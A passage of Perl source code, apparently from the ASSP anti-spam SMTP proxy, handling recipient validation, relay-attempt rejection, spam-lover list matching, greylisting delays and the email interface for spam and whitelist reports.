              && ( $this->{relayok} || $this->{externalsenderok}  )
              && $isEmailInterface
             );

    	# skip check when RELAYOK or EMAIL-Interface
        if ($emailok)
        {
			emailInterface($fh,$u,$h,$l);
			return;
  		}
    
        my $uh = "$u$h";
        $uh =~ /^(.*)(@.*)$/;
        my $hat = $2;
        $this->{alllog} = 1 if $allLogRe && $uh =~ ( '(' . $allLogReRE . ')' );
        my $t1 = "VRFY";
        $t1 = "LDAP" if $DoLDAP;

        my $reporterror;
        if (CheckReportAddr($uh)  && !$this->{relayok} && !$this->{externalsenderok}) {

        		$this->{prepend} = "[ReportLog]";
        		mlog( $fh, "email-interface warning: mail to '$uh' from $this->{mailfrom} contains no local sender and is not set in EmailSenderOK'");

        }

		if ( $this->{relayok} && $u =~ /assp/i && $uh !~ /lists.sourceforge/i && !CheckReportAddr($uh)  ) {
        	mlog( $fh, "email-interface warning: '$u' does not match any email-interface address",1);
        	}
        if ($uh =~ /^(.*@)(.*)$/ 
        		&& ($2 =~ "assp.local" or $2 =~ "assp-notspam.org") 
        		&& !$emailok) {
        	$uh =~ /^(.*)(@.*)$/;
        	$this->{prepend} = "[ReportLog]";
        	if ( !$EmailInterfaceOk ) {
        		$reporterror = "EmailInterfaceOk disabled";
        	}
        	if ( !$this->{relayok} && !$this->{externalsenderok}) {
        		$reporterror .= ", sender not local" if $reporterror;
        		$reporterror = "sender not local" if !$reporterror;
        	}
        	if ( !$isEmailInterface) {
        		$reporterror .= ", '$1' not set in email-interface" if $reporterror;
        		$reporterror = "'$1' not set in email-interface" if !$reporterror;
        	}	
        	mlog( $fh, "email-interface reported '$reporterror'",1);
        	seterror( $fh, "550 5.1.1 User unknown, email-interface reported '$reporterror'",1) ;

            return;

       }



        if (!$this->{uhnoprocessing} 
        	&& !$emailok         
        	&& !$this->{relayok}        
        	&& (   isflat( $fh, $uh)
                || $DoLDAP && $CanUseLDAP
                || &isvrfy( $fh, $uh)  

               )) {
			

            $this->{islocalmailaddress} = 0;

            
            if ($SepChar) {
                my $char = "\\$SepChar";
                if ( $u =~ "(.+?)$char" ) {
                    $uh = "$1\@$h";
                    $uh =~ s/"//;
                }
            }
            
            if ( $this->{addressedToSpamBucket} )			
				{
				$this->{islocalmailaddress} = 1;
                d("$uh validated by spamaddresses list\n");
                mlog( $fh, "$uh validated by spamaddresses list" ) if $ValidateUserLog == 3;

            } elsif (($DoLDAP || &isvrfy( $fh, $uh)) && &LDAPCacheFind($uh,$t1,1) )
				{
				$this->{islocalmailaddress} = 1;
                d("$uh validated by ldaplist\n");
                mlog( $fh, "$uh validated by ldap-cache" ) if $ValidateUserLog ==3;

            } elsif ( !$this->{islocalmailaddress}
                && $LocalAddresses_Flat
                && $uh =~ /^([^@]*)(@.*)$/o
                && matchSL( $2, 'LocalAddresses_Flat' ) )
            	{
                	$this->{islocalmailaddress} = 1;
                	d("$2 validated by LocalAddresses_Flat\n");
                	mlog( $fh, "$2 validated by LocalAddresses_Flat" )
                  		if $ValidateUserLog >= 2;
         
			} elsif ( !$this->{islocalmailaddress}
                && $LocalAddresses_Flat
                && $LocalAddresses_Flat_Domains
                && $uh =~ /^([^@]*@)(.*)$/o
                && matchSL( $2, 'LocalAddresses_Flat' ) )
            	{
                	$this->{islocalmailaddress} = 1;
                	d("$2 validated by LocalAddresses_Flat\n");
                	mlog( $fh, "$2 validated by LocalAddresses_Flat" )
                  		if $ValidateUserLog >= 2;


            
            } elsif (  !$this->{islocalmailaddress}
                && $LocalAddresses_Flat
                && matchSL( $uh, 'LocalAddresses_Flat' ))
            	{
				$this->{islocalmailaddress} = 1;
                d("$uh validated by LocalAddresses_Flat\n");
                mlog( $fh, "$uh validated by LocalAddresses_Flat" ) if $ValidateUserLog >= 2;
            
            } elsif (  !$this->{islocalmailaddress}
                && $DoLDAP && $CanUseLDAP
                && &localmailaddress( $fh, $uh ))
            	{
				$this->{islocalmailaddress} = 1;
                d("$uh validated by LDAP\n");
                mlog( $fh, "$uh validated by LDAP" ) if $ValidateUserLog >= 2;
            
            } elsif (  !$this->{islocalmailaddress}
                && $DoVRFY && $CanUseNetSMTP && $uh =~ /^([^@]*@)(.*)$/o
                && &matchHashKey('DomainVRFYMTA', lc $2 )
                && &localmailaddress( $fh, $uh ))
            	{
				$this->{islocalmailaddress} = 1;
                d("$uh validated by VRFY\n");
                mlog( $fh, "$uh validated by VRFY" ) if $ValidateUserLog >= 2;
            


            }
            pbTrapDelete($uh) if $this->{islocalmailaddress};

        } else {
            $this->{islocalmailaddress}=localmail($h);
        }

        if (   !( $this->{relayok} )
        	&& !$this->{islocalmailaddress}
            && !$nolocalDomains
            && ( !$rcptislocal || ( $u . $h ) =~ /\%/ )
            || $u =~ /\@\w+/ )
        {
            
            

            $this->{prepend} = "[RelayAttempt]";
            $this->{messagereason} = "relay attempt <$this->{mailfrom}> to: $u$h (user not local)";
            mlog( $fh, $this->{messagereason} ) if $RelayLog;
                        
            pbAdd( $fh, $this->{ip}, 'rlValencePB', "RelayAttempt",2 );
            $Stats{rcptRelayRejected}++;
            delayWhiteExpire($fh);

            if (!$this->{mailfrom}) {
                NoLoopSyswrite( $fh, $NoRelaying."\r\n421 <$myName> closing transmission\r\n" );
				done($fh);
                return;
			}
            

            if(++$this->{serverErrors} >= 2 && !$this->{noprocessing}) {
                $this->{prepend}       = "[MaxErrors]";
                $this->{messagereason} = "max errors  exceeded";
                mlog( $fh,
                    "max errors (2) reached -- dropping connection after relay attempt" ) if $RelayLog;
                pbAdd( $fh, $this->{ip}, 'meValencePB', "MaxErrors", 2 );
                $Stats{msgMaxErrors}++;
                my $reply = $NoRelaying;            
            	$reply =~ s/REASON/dropping connection after relay attempt/g;
            	$reply = replaceerror ($fh, $reply);
                seterror( $fh, $reply, 1 );
                NoLoopSyswrite( $fh, "551 5.7.1 User not local; please try <$u$h > directly\r\n421 <$myName> closing transmission\r\n" );
                return;;
            }
            sendque($fh, $NoRelaying."\r\n");
            return;
        }



        if ($noScan) {

            if ( matchSL( "$this->{nocollect}", 'noScan' ) ) {
                $this->{noscan} = 1;

            }
        }




       if (!$this->{relayok} && !$this->{addressedToSpamBucket}) {
        $this->{baysspamhaters} = matchSL( "$u$h", 'baysSpamHaters' );
		$this->{spamfriends} = "$u$h" if matchSL( "$u$h", 'spamFriends' );

        $this->{subjectsl} = matchSL( "$u$h", 'spamLoverSubjectSelected' );
                
        
        my $mSLRE     = matchSL($uh,'spamLovers')      and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'spamLovers'}},$uh));
        my $mBSLRE    = matchSL($uh,'baysSpamLovers') && !$this->{baysspamhaters}  and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'baysSpamLovers'}},$uh));
        my $mBLSLRE   = matchSL($uh,'blSpamLovers')    and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'blSpamLovers'}},$uh));
        my $mHLSLRE   = matchSL($uh,'hlSpamLovers')    and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'hlSpamLovers'}},$uh));
        my $mHISLRE   = matchSL($uh,'hiSpamLovers')    and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'hiSpamLovers'}},$uh));
        my $mBOSLRE   = matchSL($uh,'bombSpamLovers')  and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'bombSpamLovers'}},$uh));
		my $mBOBLRE   = matchSL($uh,'blackSpamLovers') and$this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'blackSpamLovers'}},$uh));
        my $mPTRSLRE  = matchSL($uh,'ptrSpamLovers')   and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'ptrSpamLovers'}},$uh));
        my $mMXASLRE  = matchSL($uh,'mxaSpamLovers')   and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'mxaSpamLovers'}},$uh));
        my $mSPFSLRE  = matchSL($uh,'spfSpamLovers')   and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'spfSpamLovers'}},$uh));
        my $mRBLSLRE  = matchSL($uh,'rblSpamLovers')   and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'rblSpamLovers'}},$uh));
        my $mURIBLSLRE= matchSL($uh,'uriblSpamLovers') and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'uriblSpamLovers'}},$uh));
        my $mSRSSLRE  = matchSL($uh,'srsSpamLovers')   and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'srsSpamLovers'}},$uh));


        my $mPBSLRE   = matchSL($uh,'pbSpamLovers')    and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'pbSpamLovers'}},$uh));
        my $mSBSLRE   = matchSL($uh,'sbSpamLovers')    and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'sbSpamLovers'}},$uh));
        my $mATSLRE   = matchSL($uh,'atSpamLovers')    and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'atSpamLovers'}},$uh));
        my $mISSLRE   = matchSL($uh,'isSpamLovers')    and $this->{spamMaxScore} = max($this->{spamMaxScore}, matchHashKey(\%{$SLscore{'isSpamLovers'}},$uh));
		
	    $this->{spamlover} = $this->{spamloverall} = 1 if $mSLRE;
   
		
		my $mWLORE = matchSL($uh,'WhitelistOnlyAddresses');
		
		if ( $rcptislocal && ( $mWLORE || $WhitelistOnly ) ) {
            $this->{allwhitelist} |= 1;
        } else {
            $this->{allwhitelist} = 2;
        }
        
		if ( $rcptislocal && ( $mWLORE || $mSLRE ) ) {
            $this->{allLoveBlSpam} |= 1;
        } else {
            $this->{allLoveBlSpam} = 2;
        }		

        if (
            	   $mSLRE
                || $mBSLRE
                || $mBLSLRE
                || $mBOSLRE
 				|| $mPTRSLRE
				|| $mMXASLRE
                || $mHLSLRE
                || $mHISLRE
				|| $mSPFSLRE

                || $mSRSSLRE
           
                || $mPBSLRE
                || $mSBSLRE

                || $mISSLRE 
          )
        {
            $this->{allLoveSpam} |= 1;
            $rcptislocal = 1;
        } else {
            $this->{allLoveSpam} = 2;
        }
        if ( $rcptislocal && ( $mBSLRE || $mSLRE ) ) {
            $this->{allLoveBaysSpam} |= 1;
        } else {
            $this->{allLoveBaysSpam} = 2;
        }
        if ( $rcptislocal && ( $mBLSLRE) ) {
            $this->{allLoveBlSpam} |= 1;
        } else {
            $this->{allLoveBlSpam} = 2;
        }
        if ( $rcptislocal && ( $mBOSLRE || $mSLRE ) ) {
            $this->{allLoveBoSpam} |= 1;
        } else {
            $this->{allLoveBoSpam} = 2;
        }
        if ( $rcptislocal && ( $mBOBLRE ) ) {
            $this->{allLoveBoBSpam} |= 1;
        } else {
            $this->{allLoveBoBSpam} = 2;
        }

        if ( $rcptislocal && ( $mHLSLRE || $mSLRE ) ) {
            $this->{allLoveHlSpam} |= 1;
        } else {
            $this->{allLoveHlSpam} = 2;
        }
        if ( $rcptislocal && ( $mHISLRE || $mSLRE ) ) {
            $this->{allLoveHiSpam} |= 1;
        } else {
            $this->{allLoveHiSpam} = 2;
        }
		if ($rcptislocal && ($mSPFSLRE || $mSLRE)) { 
			$this->{allLoveSPFSpam}|=1; 
		} else { 
			$this->{allLoveSPFSpam}=2; 
		}
        if ( $rcptislocal && ( $mRBLSLRE) ) {
            $this->{allLoveRBLSpam} |= 1;
        } else {
            $this->{allLoveRBLSpam} = 2;
        }
        if ( $rcptislocal && ($mATSLRE) ) { 
        	$this->{allLoveATSpam} |= 1; }
        else  { 
        	$this->{allLoveATSpam} = 2; }
        
        if ( $rcptislocal && ( $mURIBLSLRE ) ) {
            $this->{allLoveURIBLSpam} |= 1;
        } else {
            $this->{allLoveURIBLSpam} = 2;
        }
        if ( $rcptislocal && ( $mSRSSLRE || $mSLRE ) ) {
            $this->{allLoveSRSSpam} |= 1;
        } else {
            $this->{allLoveSRSSpam} = 2;
        }

        if ( $rcptislocal && ( $mPBSLRE || $mSLRE ) ) {
            $this->{allLovePBSpam} |= 1;
        } else {
            $this->{allLovePBSpam} = 2;
        }
        if ( $rcptislocal && ( $mSBSLRE || $mSLRE ) ) {
            $this->{allLoveSBSpam} |= 1;
        } else {
            $this->{allLoveSBSpam} = 2;
        }
        if ( $rcptislocal && ( $mISSLRE || $mSLRE ) ) {
            $this->{allLoveISSpam} |= 1;
        } else {
            $this->{allLoveISSpam} = 2;
        }
        }





     
        $this->{rcptValidated} = $this->{rcptNonexistent} = 0;

        if ( $this->{addressedToSpamBucket} ) {
            $this->{delayed} = "";
            # accept SpamBucket addresses in every case
            $this->{rcpt} .= "$u$h ";

            
        } elsif ( $LocalAddresses_Flat
            || 	$DoLDAP
            ||	scalar( keys %DomainVRFYMTA )  )
        {
            if (   ( $this->{islocalmailaddress} )
                || ( $this->{relayok} ) && !$rcptislocal )
            {
                if ( !$this->{relayok} && $EnableDelaying) {
                    if ( !Delayok( $fh, "$u$h" ) ) {
                        $this->{delayqueue} .= "$u$h ";
                        $this->{rcpt}       .= "$u$h ";
                        $this->{delayed} = 1;
                        mlog( $fh, "recipient delaying queued: $u$h", 1 )
                          if $DelayLog >= 2;
                        sendque( $server, $l );
                        return;
                    }
                }
                $this->{donotdelay} = 1;
                $this->{rcpt} .= "$u$h ";
                mlog( $fh, "recipient accepted: $u$h", 1 )
                  if $this->{alllog} or $ValidateUserLog >= 2;
                $this->{rcptValidated} = 1;
            } elsif ( $calist{$h} ) {
                my $uhx = $calist{$h} . "@" . $h;
                mlog( $fh, "invalid address $uh replaced with $uhx", 1 )
                  if $this->{alllog} or $ValidateUserLog >= 2;
                $this->{rcpt} .= "$uhx ";
                $this->{messagereason} = "invalid address $uh";
                pbTrapAdd( $fh, "$uh" );
                pbAdd( $fh, $this->{ip}, 'irValencePB', "InvalidAddress" ) if !$this->{nonoprocessing};
                $Stats{rcptNonexistent}++;
                $this->{rcptValidated} = 1;
                $l = "RCPT TO:\<$uhx\>\r\n";
                if (matchSL("$uhx",'NullAddresses')) {
                	$this->{getline} = \&NullFromToData;
                	&NullFromToData($fh,$l);
                        return;
                }
            } elsif ( $CatchallallISP2NULL && $this->{ispip} ) {
                mlog( $fh,
                    "invalid address $u$h from ISP moved to NULL-connection",
                    1 )
                  if $this->{alllog} or $ValidateUserLog >= 2;
    
                $this->{rcptValidated} = 1;
                $Stats{rcptNonexistent}++;
                $this->{getline} = \&NullFromToData;
                &NullFromToData( $fh, $l );
                return;
           } elsif ($CatchAllAll) {
                my $uhx = $CatchAllAll;
                mlog( $fh, "invalid address $uh replaced with $uhx", 1 )
                  if $this->{alllog} or $ValidateUserLog >= 2;
                $this->{rcpt} .= "$uhx ";
                $this->{messagereason} = "invalid address $uhx";
                pbTrapAdd( $fh, "$uhx" );
                pbAdd( $fh, $this->{ip}, 'irValencePB', "InvalidAddress" )  if !$this->{nonoprocessing};
                $Stats{rcptNonexistent}++;
                $this->{rcptValidated} = 1;
                $l = "RCPT TO:\<$uhx\>\r\n";
                if (matchSL("$uhx",'NullAddresses')) {
                	$this->{getline} = \&NullFromToData;
                	&NullFromToData($fh,$l);
			        return;
                }
           } else {
                $this->{prepend}="[InvalidAddress]";
                $this->{messagereason}="invalid address $uh";
                mlog($fh,"invalid address rejected: $uh") if $this->{alllog} or $ValidateUserLog == 1 or $ValidateUserLog == 2;
                pbTrapAdd($fh,"$uh");
                pbAdd($fh,$this->{ip},'irValencePB',"InvalidAddress")  if !$this->{nonoprocessing};
                $Stats{rcptNonexistent}++;
                $this->{rcptNonexistent}=1;
                if ($NoValidRecipient) {
                    $reply = $NoValidRecipient."\r\n";
                    $reply =~ s/EMAILADDRESS/$u$h/go;
                } else {
                    $reply = "550 5.1.1 User unknown\r\n";
                }
                if ($reply =~ /^5/) {
                    if ( ($this->{userTempFail} &&
                          $DoVRFY &&
                          $CanUseNetSMTP &&
                          (! ($DoLDAP && $CanUseLDAP) or
                             ($DoLDAP && $CanUseLDAP && $LDAPoffline)
                          )
                         ) or
                         ($DoLDAP && $CanUseLDAP && $LDAPoffline &&
                          (! ($DoVRFY && $CanUseNetSMTP) or
                             ($DoVRFY &&
                              $CanUseNetSMTP &&
                              !$this->{userTempFail} &&
                              $uh =~ /\@([^@]*)/o &&
                              !&matchHashKey('DomainVRFYMTA',$1)
                             )
                          )
                         )
                       )
                    {
                        $reply =~ s/^\d{3}(?: \d+\.\d+\.\d+)?/450/;
                    }
                }

                sendque( $fh, $reply );

                # increment error and drop line if necessary
                if(++$this->{serverErrors} >= $MaxErrors && !$this->{noprocessing}) {
                    $this->{prepend}       = "[MaxErrors]";
                    $this->{messagereason} = "max errors (MaxErrors=$MaxErrors) exceeded";
                    mlog($fh,"max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection - after invalid address") if $ValidateUserLog;
                    pbAdd( $fh, $this->{ip}, 'meValencePB', "MaxErrors", 2 )  if !$this->{nonoprocessing};

                    $Stats{msgMaxErrors}++;
                    delayWhiteExpire($fh);
                    done($fh);
                }
                return;
            }
        } elsif ( !$this->{relayok} && $EnableDelaying) {
            if ( !Delayok( $fh, "$u$h" ) ) {
                $this->{delayqueue} .= "$u$h ";
                $this->{rcpt}       .= "$u$h ";
                $this->{delayed} = 1;
                mlog( $fh, "recipient delaying queued: $u$h", 1 )
                  if $this->{alllog}
                      or $DelayLog >= 2;
                sendque( $server, $l );
                return;
            }
            $this->{rcpt} .= "$u$h ";
        } else {
            $this->{red} = $this->{redlist} = "$u$h in RedList"
              if ( $Redlist{"$u$h"}
                || $Redlist{"*@$h"}
                || $Redlist{"$wildcardUser@$h"} );
            $this->{rcpt} .= "$u$h ";
            mlog( $fh, "recipient accepted without delaying: $u$h", 1 )
              if $this->{alllog}
                  or $ValidateUserLog == 2;
            $this->{donotdelay}    = 1;
            $this->{rcptValidated} = 1;
        }


        # update Stats
        if ( $this->{rcptnoprocessing} == 1 ) {
            $Stats{rcptUnprocessed}++;
        } elsif ( $this->{addressedToSpamBucket} ) {
            $Stats{rcptSpamBucket}++;
        } elsif ( $this->{allLoveSpam} & 1 ) {
            $Stats{rcptSpamLover}++;
        } elsif ( $this->{rcptValidated} ) {
            $Stats{rcptValidated}++;
        } elsif ( $this->{rcptNonexistent} ) {
            $Stats{rcptNonexistent}++;
        } elsif ($rcptislocal) {
            $Stats{rcptUnchecked}++;
        } elsif ( $Whitelist{ lc "$u$h" } ) {
            pbWhiteAdd( $fh, $this->{ip}, "whitelisted:$u$h" );
            $Stats{rcptWhitelisted}++;
        } else {
            $Stats{rcptNotWhitelisted}++;
        }
        $this->{numrcpt} = 0;    # calculate the total number of rcpt
        foreach ( split( / /, $this->{rcpt} ) ) { $this->{numrcpt}++ }
        $this->{numrcpt} = 1 if ( $this->{numrcpt} == 0 );
    } elsif ( $l =~ /^ *XEXCH50 +(\d+)/i ) {
        $this->{skipbytes} = $1;
        d("XEXCH50 b=$1");
    } elsif ( $l =~ /^ *DATA/i || $l =~ /^ *BDAT (\d+)/i ) {
    	$this->{lastcmd} = "DATA" if $l =~ /^ *DATA/i;
        if ($1) {
            $this->{bdata} = $1;
        } else {
            delete $this->{bdata};
        }
        $this->{rcpt} =~ s/\s$//;

        # drop line if no recipients left
        if ( $this->{rcpt} !~ /@/ ) {

            # possible workaround for GroupWise bug
            if ( $this->{delayed} ) {
                if ($DelayError) {
                    $reply = $DelayError;
                } else {
                    $reply = "451 4.7.1 Please try again later";
                }
                mlog( $fh, "DATA phase delayed", 1 ) if $DelayLog;
                $reply = replaceerror ($fh, $reply);
                seterror($fh, $reply,1);
                
                $Stats{msgDelayed}++ if ( !$this->{StatsmsgDelayed} );
                $this->{StatsmsgDelayed} = 1;
                return;
            }
            mlog( $fh, "no recipients left -- dropping connection", 1 )
              if $DelayLog || $ValidateUserLog == 2;
            $Stats{msgNoRcpt}++;

            delayWhiteExpire($fh);
            pbAdd( $fh, $this->{ip}, 'reValencePB', "NeedRecipient", 2 );
            seterror( $fh, "554 5.7.8 Need Recipient", 1 );
            done($fh);
            return;
        }
        if (( $noProcessing && allNoProcessing( $this->{rcpt} ) ) 
            || ( $noProcessing && matchSL( $this->{mailfrom}, 'noProcessing' ) )  ) 
            
            { 


            $this->{noprocessing} = 1;
            $this->{passingreason} = 'noProcessing list';

			}

		if ( $this->{helo} eq "" ) {
			$this->{prepend} = "[InvalidHELO]";
			$this->{messagereason} = "[spam found] invalid Helo: '$this->{helo}'";
			mlog( $fh, "$this->{messagereason}" )
          		if $ValidateHeloLog >= 2;
        	delayWhiteExpire($fh);
        	pbWhiteDelete( $fh, $this->{ip} );
        	$Stats{forgedHelo}++;
    
			$reply = $SpamError;            
            $reply =~ s/REASON/Forged Helo/g;
            seterror( $fh, $reply, 1 );
            return;
		}
        if ( !($fhTestMode || $allTestMode)) {
            if (! ForgedHeloOK($fh) ) {
             		$Stats{forgedHelo}++;
    
					$reply = $SpamError;            
            		$reply =~ s/REASON/Forged Helo/g;
                    seterror( $fh, $reply, 1 );
                    return;
                  }
        }

        if ( $this->{isbounce} && $this->{delayed} ) {
        	&NumRcptOK($fh,0) if $this->{relayok};
        	$this->{prepend} = '';
            if ($DelayError) {
                $reply = $DelayError;
            } else {
                $reply = "451 4.7.1 Please try again later";
            }
            mlog( $fh, "bounce delayed", 1 ) if $DelayLog;
            $reply = replaceerror ($fh, $reply);
            seterror($fh, $reply,1);
            
            $Stats{msgDelayed}++ if ( !$this->{StatsmsgDelayed} );
            $this->{StatsmsgDelayed} = 1;
            return;
		} elsif ( $this->{relayok} && (my $nextTry = &localFrequencyNotOK($fh)) ) {
            $nextTry = &timestring($nextTry);
            $reply = "452 too many recipients for $this->{mailfrom} in $LocalFrequencyInt seconds - please try again not before $nextTry or send a notification message to your postmaster\@LOCALDOMAIN or local administrators\r\n";
            my $mfd;
            $mfd = $1 if lc $this->{mailfrom} =~ /\@([^@]*)/o;
            $reply =~ s/LOCALDOMAIN/$mfd/go;
            seterror($fh, $reply,1);
            mlog($fh,"warning: too many recipients (more than $LocalFrequencyNumRcpt in the last $LocalFrequencyInt seconds, $this->{numrcpt} in this mail) ($this->{ip}) for $this->{mailfrom} - possible local abuse",1);
            $Stats{localFrequency}++;
            my $mfr = batv_remove_tag(0,lc $this->{mailfrom},'');
            if (! exists $localFrequencyNotify{$mfr} ||
                 $localFrequencyNotify{$mfr} < time)
            {
                $localFrequencyNotify{$mfr} = int((time + 86400) / 86400) * 86400;  # 24:00 today
                mlog($fh,"notification: too many recipients (more than $LocalFrequencyNumRcpt in the last $LocalFrequencyInt seconds, $this->{numrcpt} in this mail)($this->{ip}) for $mfr - possible local abuse",1);
            }
            return;
        } else {
            if ( !$this->{donotdelay} ) {    # if there is a queued delay
                delete $this->{donotdelay};   # and the rcpt to: phase is passed
                if ( $this->{delayqueue} ) {  # and no valid recpt -> delay
                    if ( !$this->{isbounce} ) {
                    	&NumRcptOK($fh,0) if $this->{relayok};
                    	$this->{prepend} = '';
                        if ($DelayError) {
                            $reply = $DelayError;
                        } else {
                            $reply = "451 4.7.1 Please try again later";
                        }
                        
                        for ( split( ' ', $this->{delayqueue} ) ) {
                            mlog( $fh, "recipient delayed: $_", 1 )
                              if $DelayLog;
                        }
                        $reply = replaceerror ($fh, $reply);
                        seterror($fh, $reply,1);
                        delete $this->{delayqueue};
                        $Stats{msgDelayed}++ if ( !$this->{StatsmsgDelayed} );
                        $this->{StatsmsgDelayed} = 1;
                        
    
                        return;
                    }
                }
            } else {
                if ( $this->{delayqueue} ) {
                    for ( split( ' ', $this->{delayqueue} ) ) {
                        mlog( $fh, "queued delay removed for recipient: $_", 1 )
                          if $DelayLog >= 2;
                        mlog( $fh, "recipient accepted: $_", 1 )
                          if $this->{alllog}
                              or $ValidateUserLog == 2;
                        $Stats{rcptDelayed}--;
                        $Stats{rcptValidated}++;
                    }
                    delete $this->{delayqueue};
                }
            }

            MaillogStart($fh);    # notify the stream logging to start logging
            $this->{getline} = \&getheader;
        }
    } elsif ( $l =~ /^ *RSET/i ) {
        stateReset($fh);          # reset everything
    }
    sendque( $server, $l );
}

sub isvrfy {
		my ( $fh, $uh ) = @_;
		my $this = $Con{$fh};
		$uh =~ /^(.*@)(.*)$/;
		my $h = $2;
        return 1 if $DoVRFY && $CanUseNetSMTP && &matchHashKey('DomainVRFYMTA', lc $h );
}

sub isflat {

		my ( $fh, $uh ) = @_;
		my $this = $Con{$fh};
 		return 1 if $LocalAddresses_Flat && $LocalAddresses_Flat_Strict;
		$uh =~ /^(.*@)(.*)$/;
		my $h = $2;
        return 1 if $LocalAddresses_Flat 
		&& &matchHashKey('FlatDomains', lc $h );;        
}

# compile the helo-blacklist ignore regular expression
sub setHBIRE {
    SetRE( 'HBIRE', "^($_[0])\$", "i", "HELO Blacklisted Ignore" );
}



        
sub emailInterface {
	my ( $fh, $u,  $h, $l) = @_;
	my $this = $Con{$fh};
 	my $uh = "$u$h";
 	$this->{isadmin} = (matchSL( $this->{mailfrom}, 'EmailAdmins') or $this->{mailfrom} && lc $this->{mailfrom} eq lc $EmailAdminReportsTo);
    if ( $EmailInterfaceOk && $this->{senderok} ne '2' && $this->{senderok} ne '3'
            && ( $this->{relayok} || $this->{externalsenderok}  )

           )
        {
           alarm 0;
           $this->{prepend} = "[EmailInterface]";
            if(lc $u eq lc "$EmailSpam\@") {
                $this->{reporttype}=0;
                $this->{reportaddr} = 'EmailSpam';
  		        $this->{getline}    =  \&SpamReport;
                mlog( $fh, "email: spam report", 1 ) if !$EmailErrorsModifyWhite;
                mlog( $fh, "email: combined spam report & white deletion request") if $EmailErrorsModifyWhite;
                $Stats{rcptReportSpam}++;
                sendque($fh,"250 OK\r\n");
                return;
            } elsif(lc $u eq lc "$EmailHam\@") {
                $this->{reporttype}=1;
                $this->{reportaddr} = 'EmailHam';
		        $this->{getline}    =  \&SpamReport;
                mlog( $fh, "email: notspam report", 1 ) if !$EmailErrorsModifyWhite;
                mlog( $fh, "email: combined notspam report & white addition request" ) if $EmailErrorsModifyWhite == 1;
                $Stats{rcptReportHam}++;
                sendque($fh,"250 OK\r\n");
                return;
            } elsif(lc $u eq lc "$EmailWhitelistAdd\@") {
                $this->{reporttype}=2;
                $this->{reportaddr} = 'EmailWhitelistAdd';
                $this->{getline}=\&ListReport;
                mlog($fh,"email: whitelist addition request",1);
                $Stats{rcptReportWhitelistAdd}++;
                foreach my $ad (split(/ /o,$this->{rcpt})) {ListReportExec($ad,$this)};
                sendque($fh,"250 OK\r\n");
                return;
            } elsif(lc $u eq lc "$EmailWhitelistRemove\@") {
                $this->{reporttype}=3;
                $this->{reportaddr} = 'EmailWhitelistRemove';
                $this->{getline}=\&ListReport;
                mlog($fh,"email: whitelist deletion request");
                $Stats{rcptReportWhitelistRemove}++;
                foreach my $ad (split(/ /o,$this->{rcpt})) {ListReportExec($ad,$this)};
                sendque($fh,"250 OK\r\n");
                return;
            } elsif(lc $u eq lc "$EmailRedlistAdd\@") {
                $this->{reporttype}=4;
                $this->{reportaddr} = 'EmailRedlistAdd';
                $this->{getline}=\&ListReport;
                mlog($fh,"email: redlist addition request");
                $Stats{rcptReportRedlistAdd}++;
                foreach my $ad (split(/ /o,$this->{rcpt})) {ListReportExec($ad,$this)};
                sendque($fh,"250 OK\r\n");
                return;
            } elsif(lc $u eq lc "$EmailRedlistRemove\@") {
                $this->{reporttype}=5;
                $this->{reportaddr} = 'EmailRedlistRemove';
                $this->{getline}=\&ListReport;
                mlog($fh,"email: redlist deletion request");
                $Stats{rcptReportRedlistRemove}++;
                foreach my $ad (split(/ /o,$this->{rcpt})) {ListReportExec($ad,$this)};
                sendque($fh,"250 OK\r\n");
                return;

            } elsif(lc $u eq lc "$EmailSpamLoverAdd\@") {
                $this->{reporttype}=10;
                $this->{reportaddr} = 'EmailSpamLoverAdd';
                $this->{getline}=\&ListReport;
                mlog($fh,"email spamlover addition report");
                foreach my $ad (split(/ /o,$this->{rcpt})) {ListReportExec($ad,$this)};
                sendque($fh,"250 OK\r\n");
                return;
            } elsif(lc $u eq lc "$EmailSpamLoverRemove\@") {
                $this->{reporttype}=11;
                $this->{reportaddr} = 'EmailSpamLoverRemove';
                $this->{getline}=\&ListReport;
                mlog($fh,"email spamlover deletion report");
                foreach my $ad (split(/ /o,$this->{rcpt})) {ListReportExec($ad,$this)};
                sendque($fh,"250 OK\r\n");
                return;
            } elsif(lc $u eq lc "$EmailNoProcessingAdd\@") {
                $this->{reporttype}=12;
                $this->{reportaddr} = 'EmailNoProcessingAdd';
                $this->{getline}=\&ListReport;
                mlog($fh,"email: noprocessing addition request");
                foreach my $ad (split(/ /o,$this->{rcpt})) {ListReportExec($ad,$this)};
                sendque($fh,"250 OK\r\n");
                return;
            } elsif(lc $u eq lc "$EmailNoProcessingRemove\@") {
                $this->{reporttype}=13;
                $this->{reportaddr} = 'EmailNoProcessingRemove';
                $this->{getline}=\&ListReport;
                mlog($fh,"email noprocessing deletion report");
                foreach my $ad (split(/ /o,$this->{rcpt})) {ListReportExec($ad,$this)};
                sendque($fh,"250 OK\r\n");
                return;
            } elsif ( lc $u eq lc "$EmailBlackAdd\@" ) {
                $this->{reporttype} = 14;
                $this->{reportaddr} = 'EmailBlackAdd';
                $this->{getline}    = \&ListReport;
                mlog( $fh, "email blacklist addition report" );
                sendque( $fh, "250 OK\r\n" );
                return;
            } elsif ( lc $u eq lc "$EmailBlackRemove\@" ) {
                $this->{reporttype} = 15;
                $this->{reportaddr} = 'EmailBlackRemove';
